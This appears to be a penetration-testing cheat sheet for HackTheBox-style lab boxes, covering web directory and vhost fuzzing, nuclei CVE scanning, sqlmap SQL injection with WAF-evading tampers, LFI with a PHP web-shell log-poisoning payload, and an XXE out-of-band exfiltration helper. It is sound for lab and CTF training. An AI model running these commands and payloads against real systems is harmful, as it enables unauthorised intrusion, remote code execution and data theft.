web — content discovery & the classic web bugs#
Find the hidden surface, then break it. Set the box once with t <ip> and
$TARGET flows into every command below. XSS lives in its own guide —
see cheat xss-scan. Full toolkit map: cheat overview.
Recon first — know what you're hitting#
enum-web <url> [wl]— the one-shot chain: whatweb tech-detect (-a 3),curl -skIheaders, nikto, then feroxbuster (falls back to gobuster). Writes everything to$HTB_BOXES/scans/web-<url>/and prints the detected stack. Run this first on any web port.whatweb -a 3 <url>— aggressive fingerprint (CMS, framework, versions) ·wafw00f <url>— is there a WAF in front? If yes, expect blocks and reach for--tamper/ slower threads.
Wordlists — pick the right size (env vars, already exported)#
Small = fast + noisy-light; big = thorough + loud. Start small, escalate.
$COMMON common.txt fast default (most wrappers use this)
$SMALL directory-list-2.3-small.txt quick sweep
$MEDIUM directory-list-2.3-medium.txt the workhorse when common finds little
$BIG big.txt thorough, slower
$DNS_SUB subdomains-top1million-5000.txt subdomain / vhost brute
$SECLISTS root of SecLists everything else lives under here
$ROCKYOU / $PASSWORDS / $USERNAMES creds (see cheat hydra / crack)
Discover directories & files#
ffufx --directory-scan -u <url> [--profile medium]— mode-based ffuf wrapper. It samples the target's not-found response, filters the measured size, and prints the exact rawffufcommand before running it. Useffufx-cheatfor every mode and option.webenum [url] [wl]— gobuster dir,-t 50, url defaults tohttp://$TARGET, wl to$COMMON. Clean single-pass listing.ferox [url] [wl]— feroxbuster recursive (-d 2),-t 50. Reach for this when you expect nested dirs (/admin/,/api/v1/) — it auto-descends into every hit.fuzz <url-with-FUZZ> [wl]— raw ffuf on anyFUZZmarker,-mc all -fc 404. The swiss-army knife: works on paths, params, headers, extensions.
Raw when you need a flag the wrapper doesn't expose:
gobuster dir -u URL -w $MEDIUM -x php,txt,html -t 50 # extensions
feroxbuster -u URL -w $COMMON -d 3 -x php --dont-scan /logout
ffuf -w $COMMON -u http://$TARGET/FUZZ -e .php,.bak -mc all -fc 404
| ffuf flag | meaning |
|---|---|
-mc all -fc 404 |
match everything, filter 404s (the wrapper default) |
-fs <n> / -fw <n> |
filter by response size / word count (kill the "soft 404") |
-fc 301,302 |
drop redirects · -recursion descend into found dirs |
-e .php,.bak |
append extensions · -t 40 threads |
Fuzz vhosts & subdomains#
subfuzz [domain]— ffufHost:header brute with$DNS_SUB, domain defaults to$TARGET. Filters301,302,404.ffufx --vhost -u http://<ip> -d <domain> [-w names.txt]— sends several random invalid vhosts, measures theirContent-Length(body size fallback), and adds the resulting-fsvalues automatically. It prints both calibration requests and the copy-pasteable rawffufcommand.vhost-fuzz <domain> [ip]— compatibility shortcut for the command above; saves JSON under$HTB_BOXES. ip defaults to$TARGET.- After a hit, add it:
echo "$TARGET found.domain.htb" | sudo tee -a /etc/hosts— vhosts don't resolve without it.
Every distinct
Host:can serve a different app. A boring landing page often hidesdev.,admin., orinternal.on the same IP — always vhost-fuzz.
Scan for known CVEs — nuclei#
nuclei -u <url>— template-driven scanner (CVEs, misconfigs, exposures, default creds). Fast signal afterenum-web.nuclei -u <url> -t ~/nuclei-templates/http/cves/— CVEs only ·-severity critical,high— cut the noise ·-list urls.txt— batch. Update templates withnuclei -update-templates.
SQL injection#
sqli-test <url>— sqlmap wrapper:--batch --level=3 --risk=2 --random-agent --tamper=space2comment,between,randomcase --dbs --threads=4. The tampers help past basic WAFs (loud — hammers the param). Pass a URL with the injectable param present, e.g.sqli-test 'http://$TARGET/item?id=1'.- Escalate by hand once you've confirmed a DB:
sqlmap -u URL --batch -D <db> --tables→--dump(destructive on write-paths, slow on big tables). POST body:--data "user=a&pass=b". Cookie auth:--cookie "PHPSESSID=...".
LFI / path traversal#
lfi-test <url>— curl-loops 14 payloads (traversal, URL-encoded,php://filterbase64,/proc/self/environ, log-poison targets) and greps forroot:/uid=hits. PutFUZZwhere the path goes:lfi-test 'http://$TARGET/index.php?page=FUZZ'.- Turn a read into RCE:
php://filter/convert.base64-encode/resource=index.phpto leak source, then log-poisoning (/var/log/apache2/access.log+ aUser-Agent: <?php system($_GET['c']); ?>) orphp://input/data://wrappers.
XXE#
xxe-serve [port]— prints ready-to-paste payloads (file read, SSRF, OOB exfilevil.dtd) using your$LHOST, then startspython3 -m http.server(default8888) to catch the callback. Paste the OOB block into any XML-eating endpoint and watch the server log.
Workflow:
enum-web→ read the whatweb stack → pick wordlist by response speed →feroxfor depth,ffufx --vhostfor breadth →nucleifor CVEs → thensqli-test/lfi-test/xxe-serveon the params you found. XSS:cheat xss-scan.